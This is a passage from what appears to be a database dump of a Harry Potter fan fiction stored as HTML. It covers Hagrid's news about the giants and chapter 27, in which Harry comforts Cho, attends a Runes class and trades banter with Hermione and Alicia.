turned out to be only six lines and two of them were about Victor coming\nto see her in a few weeks time. </p>\n\n<p>Harry on the\nother hand was listening to what Hagrid was saying and then copied down what\nwas either not common sense or unusual about the creature. By the time class\nhad finished, Harry had written about a scroll full of notes, while the rest of\nthe class had done several.</p>\n\n<p>As the rest of\nthe class made their way to the great hall, the trio moved towards Hagrid\'s\nhut. Hagrid\'s hut had not changed much except for the fact that he had added\nsome pictures on the wall. French muggle painters did most of them. When Harry noticed\nthe pictures he thought it was best that he did not say anything about them.</p>\n\n<p>&#8216; Hagrid\'s\ntaken a real shine to Madame Maxime,&#8217; though Harry as he took his seat. Harry\ndid not know why but his sense told him that their privacy was not assured at\nthat moment. &#8216; Almost as if someone is listening...,&#8217; &nbsp;but Harry dismissed the\nidea as a product of his mind and what had happened in Morocco in his time there.</p>\n\n<p><b>(A/N: I\'m\ngetting tired of doing \'Hagrid\'s heavily accented dialogue. SO If I get lazy\nfrom this point on &#8211; sorry about that.)</b></p>\n\n<p>Hermione and\nHarry had discussed what might have had Hagrid done in the holidays and they\nboth came to the same conclusion. Hagrid was sent to the giants as an\nambassador to bring news of the impending war between light and dark wizards.\nSuddenly Hermione started to look around the room for something, sensing that\ntheir privacy was suddenly not assured. It was almost as if she knew that\nbehind the hut Malfoy was listening in on the conversation with a clear hearing\nspell.</p>\n\n<p>&quot; Ron you\nfeel that?&quot; she whispered looking around the cabin.</p>\n\n<p>&quot; Feel\nwhat?&quot; answered a confused Ron.</p>\n\n<p>&quot; Almost\nlike there is...&quot; Harry did not finish his sentence but Hermione got the\nmessage.</p>\n\n<p>Hagrid was\nlooking back and forth between Harry and Hermione as if they were mad. Hermione\nsearched her mind for a spell, which she found, and cast it on the four people\npresent.</p>\n\n<p>&quot; rof tnaem&quot;\nshe said as she pointed her wand one by one until all of them were under the\nspell. Ron looked taken aback when he was the first person to get hit by a\nspell he did not even know the purpose of. He shouted something really loud as\nhe stood up from his chair and only Hermione reacted to it. </p>\n\n<p>Harry and Hagrid\nonly saw their lips move. Hermione said something to Ron and he quietly sat\ndown on his seat just before his gaze travelled back and forth between Harry\nand Hagrid. She cast the spell on her self, before speaking to the other three\npresent.</p>\n\n<p>&quot; That\nwas a privacy spell,&quot; she said before getting interrupted by Hagrid.</p>\n\n<p>&quot; What do\nwe need that for?&quot;</p>\n\n<p>&quot; I got\nthe feeling that someone was spying on us.&quot; said Harry as he looked at\nHermione for support. </p>\n\n<p>&quot; Yeah me\ntoo... It was really eerie. Harry and me are spotters right...&quot; she looked\nat Hagrid who she had no idea if he was aware of what it was. She took it in\nher stride when he indeed knew what it was. &quot; Well, I did some research\nand found out that spotters can tell when someone is spying on them.&quot;</p>\n\n<p>&quot; I\nthought I was just imagining things-,&quot; said Harry.</p>\n\n<p>&quot; Well,\nnow you know the full story&#8230; anyhow&#8230;&quot; She said dismissively, turning to Hagrid,\n&quot; I assume this has something to do with the fact that you and Madame Maxime\nwent to the giants for support... am I right?&quot;</p>\n\n<p>Hagrid looked\ndumbfounded. He did not expect the topic to arise almost the moment they entered\nthe hut. Hagrid had assumed Harry would slowly pump him for more information,\nuntil he eventually slipped. He guessed the fact that someone was listening\nonto the conversation meant that the topic was going to come up sooner than he\nhad expected.</p>\n\n<p>&quot; Well...\nyeah. Me and Olimp...Madame Maxime...&quot; there was a slight increase in Hagrid\'s\nhappiness, as he mentioned the name &quot;...went to mountains of Siberia and Himalayas to look for them. We\nlooked in the Gobi desert and we found some small tribes of Giants...&quot;</p>\n\n<p>&quot; So what\nhappened...&quot; asked an impatient Ron.</p>\n\n<p>&quot; ... We\ndidn\'t convince them to join the war with our side&quot;</p>\n\n<p>Ron, Harry and\nHermione paled at this sentence. If the giants joined with Voldemort the war\nwould be long and disastrous for the light side. &quot; ... You mean they\njoined Vold-I mean You-Know-Who.&quot; said Harry with an audible gulp.</p>\n\n<p>&quot; No!&quot;\nsaid Hagrid who seemed seemingly surprised as to how Harry had come to that\nconclusion, &quot; I said they are not fighting with us. Never said, they&#8217;re\nfighting against us...&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>The three\nfriends understood what the statement meant and their faces brightened\nimmediately. This meant that though the giants wouldn&#8217;t be fighting with the\nlight side they would not be fighting against them either. The giants had\nagreed not to participate in the war at all. &quot; That\'s good then isn\'t\nit?&quot; asked Ron.</p>\n\n<p>&quot; It\nwould be but...&quot; Hagrid paused and Ron spoke up. &quot; There is a \'but\',\nthis can\'t be good...&quot;</p>\n\n<p>&quot;...\nThere was a rumor of a big giant tribe somewhere in Europe, but we didn\'t know where\nabout. We looked all over there and we couldn\'t find them. If they joined\nYou-Know-Who, then I don\'t think it\'ll matter if the other giants join him or\nnot.&quot;</p>\n\n<p>&quot; Did you\nlook in Ukraine?&quot; asked Harry\nsuddenly. He was just as surprised to hear what he had said, as those with whom\nhe was sitting. He just could not think of any reason why he would blurt out Ukraine.</p>\n\n<p>&quot; Why\nwould we look there?&quot; asked Hagrid scrunching his enormous nose making his\neyebrows almost become one. </p>\n\n<p>Harry did not\nknow why those words came out of his mouth. He was still lost as to how they\nrelated to what Hagrid was saying when Hermione came to his rescue. She always\nknew him better than he knew himself. &quot; I know...&quot; she said eagerly\nraising her hand to answer the question. </p>\n\n<p>Hagrid nodded\nin her direction when she spoke ups, &quot; It\' like this&#8230; When Harry\'s father\nJames Potter went to look for wild beasts at the beginning of his 7th year, he\nmet this friendly giantess.&quot; she stopped in mid speech. Suddenly the\nimplication of what she was saying hit her. &#8216; It couldn\'t be... I mean why\nwould a person with such a vicious record, would help a Human -but she did, and\nasked about Hagrid,&#8217; thought Hermione, as she kept looking at Hagrid.</p>\n\n<p>&quot; ...Err...\nI don\'t know how I can put this...&quot; she gulped and said, &quot;... but I\nthink, I just figured out who Harry&#8217;s dad saw.&#8221;</p>\n\n<p>&#8220; Who?&#8221; Asked Hagrid\nand Harry at once.</p>\n\n<p>&#8220; Hagrid, I\nthink it was your mother.&#8221;</p>\n\n<p>&quot; What?!&quot;\nshouted Hagrid as he rose from his chair. The room shook as the chair fell he\nwas sitting on fell. &quot; Me mom, she\'s alive! Still? &quot; Hagrid rushed to\nwhere Harry was sitting and lifted him right out of his chair. Harry was too\nsurprised to do anything but be lifted up in the air.</p>\n\n<p>&quot; What\'re\nyou doing?&quot; asked Harry in a panic. He forgot for a second he was a wizard\nand he had his wand in his hand.</p>\n\n<p>&quot; Where\ndid he see my mother? What did they talk about? &quot; he demanded in a roaring\nvoice.</p>\n\n<p>Harry\nunderstood what Hagrid must have been feeling. For years he had thought his\nmother was dead and now that there was a glimmer of hope that he would get to\nsee his mother once, his emotions would have overwhelmed him too. It was a good\nthing that Hermione had her wand out and was not in shock like Harry and Ron\nseemed to be. </p>\n\n<p>&quot;\nNephrite&quot; she said, casting a calming spell on Hagrid. </p>\n\n<p>&nbsp;</p>\n\n<p>Hagrid\nsuddenly felt all his emotions dampen a bit. With this also came the\nrealization that he had been holding Harry well above six feet off the floor.\nHe looked deeply ashamed as he slowly put Harry down on the floor.</p>\n\n<p>&quot; Forgive\nme Harry,&#8221; said Hagrid as a single tear escaped his eyes. ... I don\'t know what\ncame over me&#8230;&quot;</p>\n\n<p>&quot; Don\'t\nworry about it.&#8221; Harry said, dusting himself off &#8211; shaking away the fright too.\n&#8220; I would have had done the same thing if the situation was reversed...&quot;\nhe said and added a joke at the end to lighten the mood, &quot; Though I really\ndoubt that I could have had lifted you off the floor.&quot;</p>\n\n<p>Hagrid laughed\nat the joke and so did the other two in the room. With the mood lightened,\neveryone sat down again. Harry told him about how Hagrid\'s mother had saved\nJames Potter from certain death at the hands of the Chimera, and how the only\nthing she wanted to know was how Hagrid was doing in school. He said she was\nvery proud to hear that Hagrid was a great grounds keeper at Hogwarts and very\npopular with the students.</p>\n\n<p>&nbsp;</p>\n\n<p>After hearing\nthat last bit of information, Hagrid cried for a full five minutes before he\nfinally smiled and asked the trio a question. &quot; Want some of my Rock\ncakes?&quot; the trio\'s face faltered, as they politely refused saying they had\nto get back into the castle. </p>\n\n<p>They promised\nto come back and visit soon.</p>\n\n<p>&nbsp;</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n\n\n\n\n\n'),
	(13, 26, '\n\n\n\n<p><b>&nbsp;</b></p>\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 27<br>\n<b>Chapter Name:</b> Cho, Charms and Runes</p>\n\n<p><b>Author&#8217;s\nNote: </b>One\nof the hazards of writing stories off the top of your head is that you forget\nto do things you meant to. Well I forgot to do several things, now I&#8217;ve done\nthem in this rewrite.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>As the three\nfriends rushed through the corridors and secret passageways of Hogwarts, they\nlaughed (Harry and Ron) and giggled (Hermione) approaching their destination,\nthe great hall. As they approached the hall, Harry noticed a particularly sad\nlooking Cho talking to a few of the Hufflepuffs. The euphoria that he was\nfeeling a moment ago, elation from the escape from Hagrid&#8217;s well meaning clutches,\nvanished. </p>\n\n<p>Cho looked as\nmortified as the first time he saw her this year and it was plainly obvious to\nall people that Cho was still grieving for Cedric. </p>\n\n<p>Harry stopped\nin mid step, making his two friends get a fair bit in front of him. When they realized\nthat Harry was falling behind they backtracked to where Harry was. They saw\nHarry looking at Cho, with an unrecognizable expression on their faces. </p>\n\n<p>&quot; You\nokay?&quot; asked Hermione, taking his hand while he walked forward and she\nwalked facing him. She held the books harder to herself in front of her chest.</p>\n\n<p>&quot; I\'m\nokay...&quot; started to say Harry, until he realized that his friends would\nknow that he was lying, &quot; well, actually no - I think I need to talk to Cho...&quot;</p>\n\n<p>Hermione\nnodded in agreement, as he gathered up his courage to face Cho Chang. Hermione\ngrabbed a hold of Ron, and started to walk off. Harry needed to do this on his own\n, and without a cheering squad.</p>\n\n<p>&nbsp;</p>\n\n<p>Susan Bones\nand several of the Hufflepuffs had approached Cho to tell that they suspected\nHarry to have had murdered Cedric to get close to her. The grief-stricken house\n&#8211; atleast the ones that had come to meet her - had convinced themselves that\nthe Minister of Magic was right - the dark lord had not risen, and Harry had\nused it as an excuse to kill Cedric.</p>\n\n<p>Cho Chang\nmight have been grieving for Cedric, but anger at the loss of the very first\nglory in a long time had not clouded her judgment. She knew, from what the\nprofessors had told them in class, that Harry and his two friends had risked\ntheir lives in their very first year to stop the rise of the Dark Lord. </p>\n\n<p>And then in\nthe last year, Professor Sinistra had confided that Harry fought and killed the\nbasilisk of the dark lord when he was in his second year. In Cho&#8217;s opinion,\nsomeone, who had defied Lord Voldemort so many times, would never kill someone\nfor his or her own gains. </p>\n\n<p>Cho was also\nprivy to a bit of information that none of the other Hufflepuffs knew about.\nAfter the ball, Cedric had told her that it was because of Harry that he had\nmanaged to get past the first task. He told her that if Harry had never told\nhim about the dragon, he would never have known what to do. He probably would\nhave had died on the first task. </p>\n\n<p>When Cho saw\nHarry approach her, she did not want to talk to the Hufflepuffs anymore. She\nhad entertained them long enough out of respect for what they were feeling. She\nleft in the middle of Susan&#8217;s plans of revenge, making her angry.</p>\n\n<p>&quot; Hello.&quot;\nsaid Harry.</p>\n\n<p>&quot; Hi&quot;\nher reply was short. But she did smile at him &#8211; in a broken and would never be\nfixed sort of way. </p>\n\n<p>&quot; I need\nto....&quot; started Harry but she interrupted him.</p>\n\n<p>&quot; Yeah....\nwe need to talk.&quot;</p>\n\n<p>&quot; Do you\nwant to talk outside? By the lake?&quot;</p>\n\n<p>&quot; Sure...I\nguess.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>It took a\nwhile to reach the side of the lake. Both of them sat on the bank leading up to\nthe peer, lazily basking in the warm sunshine. They sat there for a while,\nneither wanting to really talk. Finally realizing that he should start, Harry\nspoke in the gentlest voice he could muster. It was hard since his inside felt\nlike stone. &quot; I wanted to talk about Cedric. I&#8217;m really so...&quot; Cho\ninterrupted him. She was getting a bit sick and tired being treated like a\nfragile doll. She was more interested in other matters.</p>\n\n<p>&quot; Can you\ntell me what happened in the third task?&quot;</p>\n\n<p>&quot; Okay...&quot;\nsaid Harry as he covered the events of the tournament.</p>\n\n<p>&nbsp;</p>\n\n<p>When he\nreached the part about getting transported to the graveyard, Harry was feeling\nsick. But for Cho&#8217;s sake, he kept going. When he said the part about the green\nspark hitting Cedric, Cho broke down next to him and started to cry. </p>\n\n<p>Harry was not\nsure of what to do. He put his arm around her, and gently brought her closer.\nWhile he did this Harry realized something, he didn&#8217;t have to force himself to\nbelieve that Cho was no longer a romantic possibility, for when he put his arms\naround her he realized his feeling towards Cho had changed to what he felt for\nHermione or Ginny. How a brother feels about a sister &#8211; well that&#8217;s what he\nthought it must be. He didn&#8217;t have anything to really compare these feelings.</p>\n\n<p>&quot; It&#8217;ll\nbe alright...&quot; he said, &quot;...you&#8217;ll get past this. Time heals all\nwounds, just give it time.&quot; Words came out of his mouth, that he had no\nidea he would say. It was as if a part of him was taking over that he didn&#8217;t\nknow existed. </p>\n\n<p>&quot; I\nknow,&quot; she whimpered in his chest, before she looked up onto Harry&#8217;s face\nand asked, &quot; What happened after that?&quot;</p>\n\n<p>Harry was\nsurprised that Cho would want to talk about what happened after Cedric died. He\nreally wanted to tell his friends what had happened after Cedric died first, but\nrealised that Cho deserved to know rest of the events more than anyone else. So\nhe told her, everything. Including the part about when Voldemort&#8217;s wand\nconnected with his own. He did not tell that his wand had the same core as Voldemort&#8217;s,\nor tell her what it was called. He did not think Cho would feel the same way\nknowing those two specifics of the story.</p>\n\n<p>When he said\nhow his mother and father&#8217;s shadow form had emerged, Cho cried in his arms some\nmore. &quot; It must have had been horrible for you&quot; she said, hugging\nHarry&#8217;s midsection with more force than even she had known she could. It was an\neffort for Harry to breathe, but he did not say anything.</p>\n\n<p>&quot; It was,\nbut then again I had lost my parents a long time ago. I never really knew them,\nwhen this happened. I have some pictures now, but I&#8217;ve got no real memory of\nthem. I learned something about my parents in the holidays...If the same thing\nhappened again, I don&#8217;t know what I would do.&quot;</p>\n\n<p>Cho looked up\nand saw Harry&#8217;s face. He looked handsome and in the bright sunlight, his\nfeatures were even more pronounced. She kissed him - On the cheek. </p>\n\n<p>&quot; You\nknow there can never be anything between us and it&#8217;s not because I know\nreporters would have a field day with me and you dating each other...&quot;said\nCho.</p>\n\n<p>&quot; I\nknow... I think my feelings about you have changed... I used to&quot; Harry\nblushed very slightly, &quot; &#8211;have a crush on you, but now&#8230;&quot;</p>\n\n<p>&quot; You\ndon&#8217;t have to say it. I know how you feel. When you walked in the great hall\nthat day, I wasn&#8217;t even attracted to you, like all the other girls were. I knew\nthey were right in being attracted to you, but I just did not feel the same\nway.&quot; She smiled and said, &quot; I think I felt more for that Malfoy\ncreep than you.&quot;</p>\n\n<p>&quot; You\ndon&#8217;t have to go that low,&quot; said Harry, kissing her cheek once. &quot; You\nlook much better with a smile&quot; It was Cho&#8217;s turn to turn pink in the\ncheeks.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry got up and\nextended his palm to Cho. She took it and hand in hand they walked back into\nthe great hall. Just before they entered, Cho let go of Harry&#8217;s hand gave him a\nsmall hug and one last kiss on the cheek.</p>\n\n<p>&quot; We&#8217;ll\nbe friends...no matter what,&quot; she said, as she headed to the entrance and\nthen to the Ravenclaw table.</p>\n\n<p>Harry turned\naround and saw the sun above, shining brightly, he murmured, &quot; We will. I\njust hope there is something to be friendly about before the end of the\nyear.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry and Cho\nmight have thought that they were alone when they drew closer for comfort, but\nthey really weren&#8217;t. The highly charged emotions running through Harry&#8217;s mind\nblinded his ability as a spotter to detect that there was a fifth year girl,\nnamely a Hufflepuff by the name of Susan Bones. </p>\n\n<p>From where she\nwas standing their hugs and kisses appeared intimate. This was the final bit of\ninformation that proved in her mind that Harry had indeed killed Cedric to get Cho.\nAnd it looked like he had succeeded. She really didn&#8217;t blame Cho for falling\nfor Harry. He was one of the better looking boys in school, and he was famous\nand there was no way, in her opinion, Cho could have had resisted a two headed\nsnake like Harry Potter.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron and\nHermione as always, were in the middle of the biggest fight imaginable over his\ninvolvement in S.P.E.W. Though Harry very partially agreed, (the bit about\nhouse elves punishing themselves for displeasure of their master) he was\nagainst some of the more outrageous things that Hermione wanted for them,\nnamely the masters to serve the elves once a month. This was supposed to create\na bond of understanding between the master and the servant.</p>\n\n<p>Harry thought\nbeing paid to work and not being punished was the best the house elves could\nhope for. He wasn&#8217;t looking forward to the day Hermione would pass that\nparticular thing into the law books. He knew Hermione was persistent and would\npass every single thing she wanted into law, because of the way she was.</p>\n\n<p>&#8216; Better\nseparate the married couple before they kill themselves,&#8217; thought Harry,\nreferring to Hermione and Ron on the Gryffindor table.</p>\n\n<p>Once he did\nmanage to separate them, by sitting between them, Harry ate like a pig, without\na thought to how he was being looked at. He had nothing in the morning and\npeople seeing him eating like a pig was not his problem. His main problem was\nthe fact that Professor Snape was very interested to get back to his class, and\nthat meant that he might not get another scrap of food until the end of the\nday, as he was very sure that he was going to have to avoid girls all day long.\nHe had been wrong before about that &#8211; but he kept thinking that. Maybe he liked\nthe attention for once? &#8211; Harry really didn&#8217;t know.</p>\n\n<p>&quot; Yum...\nWell, that was the best meal I ever had.&quot; said Ron rubbing his belly\nslowly to emphasise the point. &quot; What class do we have now?&quot; he asked\nHermione.</p>\n\n<p>&quot; Well\nyou have Divination and we, as in Harry and I, have Runes and dead\nlanguages&quot;</p>\n\n<p>Ron\'s face\nfaltered for a second, as this was the first class of Divination that Harry\nwould not be in with him. </p>\n\n<p>&quot; Well...\nGood luck&quot; said Ron as he made a dash for his Divination class. </p>\n\n<p>&nbsp;</p>\n\n<p>Harry was a\nbit depressed about this as well but consoled himself with the fact that he\nwould be with him in most classes. Hermione then tentatively reached out and\ngrabbed Harry\'s hand. </p>\n\n<p>&quot; Let\'s\ngo,&quot; she said, as she proceeded to drag Harry by his hand. It amazed Harry\nto no end that Hermione could actually drag him somewhere when she was both\nshorter and weighed much less than him.</p>\n\n<p>The class she\ndragged Harry into was the on the second floor of the west wing. It was large\nand was occupied by students. The students he recognized were mostly from Ravenclaw.\nIt made sense to him that the Ravenclaws would choose to do this rather than\ntake a fluffy subject like Divination. It also scared him that the whole class\nwas full of people who had been doing the subject for as long as he had been\ndoing the fluffy subject.</p>\n\n<p><i>&#8216; I&#8217;m\ndoomed.!&#8217;</i></p>\n\n<p>Hermione lead\nthe way to the two empty seats at the back of the class and sat down. Hermione\nwas quick to ask him about how he was feeling since this was a new class and\nall. </p>\n\n<p>&quot; Probably\nabout as good as Ron felt, after eating Chocolate in Defence against dark\narts.&#8221;</p>\n\n<p>Hermione\ngiggled a bit. &quot; Don\'t worry... Professor Hawthorn is the nicest and kindest....&quot;,\nShe was interrupted by the Harry, who panicked at the mention of the woman\'s\nname. It was quite understandable since Hawthorn was well over a hundred years\nold and <b><i>was</i></b> the reason why he felt nauseous during the sorting\nceremony.</p>\n\n<p><i>&#8216; But I\nthought she taught Gnome Psychology... Oh no, It\'s her... I have to get out of\nhere.&#8217; </i>he\nthought, as he got up from his chair determined to beg Professor Trelawney to\nlet him back into the class. </p>\n\n<p>But he quickly\nsat down again when he saw the &quot;woman&quot; come into the class. Before\nthe Professor could see him, Harry quickly went down on the floor and started\nto whisper to Hermione. &quot; Hermione, I have to get out of here. That woman\nwas winking at me in the great hall...&quot; his whole body shuddered as he\nsaid those words.</p>\n\n<p>&quot; Did you\nthink? &#8211;&#8220; Hermione started laugh out loud. &#8220; Oh this is funny -I\'ll have to\nremember this.&quot;</p>\n\n<p>&quot; Why are\nyou laughing? Hsss.. Please keep it down, will ya? &quot; said Harry, who was\npanicking even more now since her laughter was drawing more attention from the\nclass and eventually the teacher would notice that Harry was in the room. </p>\n\n<p>&quot; Because...&quot;\nHermione could not finish the sentence before she burst into laughter yet\nagain.</p>\n\n<p>&quot; Come\non... keep it down will you, please? I don\'t want to draw anymore attention&quot;\nthere was urgency in his voice that did not escape Hermione.</p>\n\n<p>&quot; Ok...&quot;\nshe answered as the amount of laughter from her was decreasing. &quot;... It\'s\njust that...&quot; a bit more laughter, &quot;...she winks at every one. She\nhas a muscle problem in her right eye...&quot; Hermione could no longer keep\nthe laughter down; she fell from her seat on and onto the floor, and started to\nroll around.</p>\n\n<p>Hermione\'s\novert display of laughter caused the whole class to turn around and look at\nwhat was so funny. Harry quickly took his seat again before Professor Hawthorn\ncould make her way to the back of the room to see what was the cause of all the\ncommotion. </p>\n\n<p>She was very\nsurprised to see that Hermione was causing all the noise.<i> &#8216; It\'s really sad\nwhen the good ones go bad...,&#8217; </i>&nbsp;she thought sadly, but her mood improved\nquite a lot when she saw the boy next to Hermione\'s seat.</p>\n\n<p><i>&#8216; Yum, new\nmeat.&#8217; </i></p>\n\n<p>Professor\nHawthorn cast a calming charm on Hermione, who promptly stopped laughing and\nreturned to her seat. &quot; I\'m very disappointed in you Hermione. I expected\nmore from you&quot; with that, she returned to the front of the class, without\ngiving Hermione a chance to defend herself &#8211; who looked quite scandalized. </p>\n\n<p>&quot; We have\na new student in class,&quot; said Professor Hawthorn as she looked up the new\nname at the bottom of the register. &quot; Potter, Harry....&quot; she choked\non the name just as the words left her mouth. She was rather quick to recover\nfrom her shock.</p>\n\n<p>&quot; Well...\nProfessor McGonagall told me you switched from Divination but she did indeed\nforget to tell me you would be coming in here. </p>\n\n<p>This is a\ncomplex subject and with the OWLs this year and I doubt it would be easy for\nyou to catch up on the subject...&quot;</p>\n\n<p>&quot; It\nwon\'t be.&quot; interjected Hermione, &quot; I made him go through last year\'s\ntextbook and he has already done up to the third chapter of the book.&quot;\nHermione\'s voice carried with it unmistakable pride in it.</p>\n\n<p>&quot; Well in\nthat case I really have nothing to say. Good thing I did not assign any\nhomework for the holidays, otherwise you would be having a lot of trouble in\nclass, Mr. Potter. Okay, now class, we need to go over the basics of last year\nand then we will start on this year&#8217;s work.</p>\n\n<p>Though Harry\nhad caught up in the holidays, Harry still had a hard time in class applying\nthe theories to practical things they were asked to do. The subject was hard\nand required Harry to do more thinking then any of his other classes. At the\nend of the class his brain was going into overdrive just to keep up with the rest\nof the class. He soon realized that although Hermione might have been confident\nthat he would be an okay student in the subject, he had a long way to go. A\nvery log way to go.</p>\n\n<p>&nbsp;</p>\n\n<p>The class left\nhim wanting more of it though, this mind was totally smashed because of the\namount of work it had done. Just before he left the class, Professor Hawthorn\ninvited him to the front of the class for a chat. Before Professor Hawthorn had\na chance to say anything, Harry asked his question, &quot; Do you think I have\na chance of passing this subject?&quot;</p>\n\n<p>&quot;Don\'t\nworry just yet about failing. You did well, for your first day. You\'ll need to\nwork a lot harder in this subject then the others because this subject is more\nabout knowledge than actually performing magic.&quot; At this point she winked\nat him making Harry cringe, &quot;... I\'m sure Hermione would be more than\nhappy to help you in your studies.&quot;</p>\n\n<p>Though she\nnoticed the cringing Professor Hawthorn let it slide. Students who had been in\nher class since the beginning of their third year were still not used to her\nwinking at awkward times, and this was Harry\'s first day. </p>\n\n<p>&nbsp;</p>\n\n<p>They talked\nfor another four minutes before she let him leave the room with a warm smile on\nher face. When he went outside, he found Hermione and Alicia both laughing\ntheir heads off about something...</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Outside the\nclass, as Hermione waited she was surprised to feel someone tapping on her\nshoulder. She was quite surprised to see that it was Alicia Spinnet. &quot; Hey...\nWhat are you doing here?&quot; asked Alicia.</p>\n\n<p>&quot; Just\nwaiting for Harry to stop talking with Professor Hawthorn...&quot; she noticed\nthat Alicia\'s interests suddenly left from the conversation, as she tried to\nlook into the room to see if she could see Harry. </p>\n\n<p>&#8216; Hmmm, I\nwonder...,&#8217; thought Hermione, &#8216; if she is interested in Harry...&#8217; </p>\n\n<p>But she\nquickly dismissed that thought since the headgirl was very popular with the\nsixth and seventh year boys, so why would she be interested in Harry who was a\nfull two years younger than her?</p>\n\n<p>Alicia quickly\ncaught herself in the middle of her search and quickly turned back to Hermione\nto answer her question, &quot; Well I have Runes now&quot; then she remembered\nsomething and a question, &quot; Why is Harry in this class? I thought he was\nin Divination...&quot;</p>\n\n<p>&quot; He was,&quot;\nreplied Hermione, &quot; &#8216;WAS&#8217; being the operative word. I convinced him to\nswitch to another class and as luck would have it he switched to Runes.&quot; </p>\n\n<p>She would have\nhad asked her why she wanted to know that but before she could Alicia asked her\na question. &quot; How was his class? I mean it was his first right so was it\neasy for him or did he muddle through it?&quot;</p>\n\n<p>&quot; He did\nwell enough... I suspected that he would have had done better if Professor\nHawthorn didn\'t keep winking at him.&quot; </p>\n\n<p>Alicia giggled\nand asked, &quot; How did he take it?&quot;</p>\n\n<p>&quot; Not\nwell. You should have seen him...&quot; then Hermione said what happened at the\nbeginning of the class and Alicia burst into laughter. Her laughter was loud\nand combined with Hermione\'s it echoed through the corridors. They both stopped\npromptly when they saw Harry approach them.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry\'s\nsuspicion that they were discussing his behavior at the beginning of the class\nwas confirmed when both Hermione and Alicia stopped laughing when they saw him.&nbsp;\n&#8216; Oh great... Why did she have to tell her?,&#8217; thought Harry, slightly miffed at\nHermione, but then he thought that if Hermione hadn\'t done it then one of the Ravenclaws\ncould have fabricated a story and it would be all over the school. </p>\n\n<p>Realizing this\nhe quickly forgave Hermione. Harry assumed an expression that said he had no\nidea what the two girls could be talking to her about. &quot; Alicia... what\nare you doing here?&quot; He asked politely. </p>\n\n<p>&quot; Well\nnothing... I mean... I have my Runes next...&quot; she was having a hard time\ntrying to stop herself from laughing out loud. &quot; Oh look, the door is\nopening... I have to go.&quot; She said, quickly taking off in the direction of\nthe class.</p>\n\n<p>Half way to\nthere she turned around and yelled, &quot; I want a rematch for that snitch\ncatching game.&quot;</p>\n\n<p>&quot; When?&quot;\nhe answered back. Harry\'s heart did a flip, but he was not certain as to why it\ndid that.</p>\n\n<p>&quot; Today...\nhow about after dueling class?&quot;</p>\n\n<p>&quot; OK.\nI\'ll be there.&quot;</p>\n\n<p>The Dueling\nclasses were held for all the levels together. Well, all the people who could\nshow up on the free timeslots. Harry and Alicia ended up in the same Dueling\nclass, by luck. He was glad for his luck. </p>\n\n<p>Hermione watched\nthe exchange with interest. She could not shake the feeling that Alicia, as\nuncharacteristic as it sounded, was indeed interested in Harry. &quot; Well,\nHarry...&quot; she said, &quot; Looks like you have another admirer&quot;, with\na grin spreading across her face.</p>\n\n<p>Harry was in\nshock. For a moment he thought that using his brain on overdrive must have\nshort-circuited his comprehension, but quickly realized that was not the case\nwhen he inspected Hermione\'s face. </p>\n\n<p>&quot; How\nwould you know?&quot; he retorted.</p>\n\n<p>Alicia was a\nvery beautiful woman. The word woman applied to her more than almost any other\nfemale that he had had the pleasure of meeting &#8211; at hogwarts. She was both\nbeautiful and smart, not only book smart but also smart in the ways of the\nworld. She had a nice sense of humor and was very easy to talk to. All in all\nshe was a person that Harry could see himself getting involved with, BUT he\nstill thought that the chances of her liking him in return were less than zero.</p>\n\n<p>&#8216; Probably in\nthe negative territory,&#8217; thought Harry, rather glumly. </p>\n\n<p>It is very odd\nthat in the beginning Harry hadn&#8217;t thought of liking Alicia like that, but when\nHermione planted the idea in his head, he was actually disappointed.</p>\n\n<p>&quot;\nCouldn\'t you tell by the way she was looking at you?&quot;</p>\n\n<p>&quot; How was\nshe looking at you...? I mean me... How was she looking at me?&quot;</p>\n\n<p>&quot; Same\nway I look when I\'m thinking about Victor I suspect?&quot; there was a sigh in\nthere for Ron. It was a habit that she now had, it was a pity he was not there\notherwise Hermione would have enjoyed seeing Harry struggling to hold back Ron.</p>\n\n<p>&quot; Are you\nsure? -&quot; They started walking toward Ron\'s Divination Class, &quot; -I\nmean think about it. She is the headgirl -The headgirl for god&#8217;s sakes. She can\nget any boy she wants to. Any boy.&quot;</p>\n\n<p>&quot; Well it\nlooks to me that she&#8217;s after just one boy.&quot;</p>\n\n<p>&quot; Nope.\nCan\'t be&quot; said Harry. She wanted to go on and tease him about this, but\nshe knew from the tone of Harry\'s voice that the discussion was over. As much\nas Harry liked Alicia, she was out of his league and going after her would only\nmake things worse for him. It was a good thing they spotted Ron coming down the\nrope ladder when they did, as it destroyed the possibility of having an awkward\nmoment between Harry and Hermione.</p>\n\n<p>&quot; There\'s\nRon... lets go&quot; said Harry as he started to run toward Ron\'s direction.\nThe three friends entered their next class, which was charms, exactly one\nminute and thirty three seconds later.</p>\n\n<p>&nbsp;</p>\n\n<p>Professor Flitwick\nlooked even smaller than the year before, even taking into account the fact\nthat Harry had a massive growth spurt over the summer holidays. Harry quickly\ntook his usual seat next to Ron and Neville. Hermione sat next to Ron, much to\nhis delight. The delight however increased when the Hufflepuffs joined the\nclass and they had to squeeze together to make room for the new students. </p>\n\n<p>Ron blushed\nslightly while Hermione just sat there enjoying the closeness though she showed\nno outward sign of enjoyment. Charms was Harry\'s worst subject and as always\nHermione was great at it like all the other subjects. Ron actually fared better\nat this subject than Harry, though both were pretty much at the bottom of the\nclass. Harry had no intention of showing off how much he had improved in all\nhis subjects as he suspected this would only make him more of a target by the girls\nand he had no intention of loosing the normalcy of his life... or what&#8217;s left\nof it&#8230; even if it meant that he had to sabotage his own work to do it. </p>\n\n<p>Harry was\nconfident that he could do all the charms in the book quite quickly now, but\nruining all of them would take even more hard work then trying to do them\nright. &#8216; This will be an interesting challenge,&#8217; thought Harry as he finally\nstarted to listen to what Professor Flitwick had been saying in class.</p>\n\n<p>&quot; The\nassignments were very well done and the top mark for it goes to... err...wait\nit\'s coming&quot; he said shaking a small bit of parchment, &quot;Ahh...it\'s\ncoming... Here it is... Harry Potter&quot;</p>\n\n<p>Professor 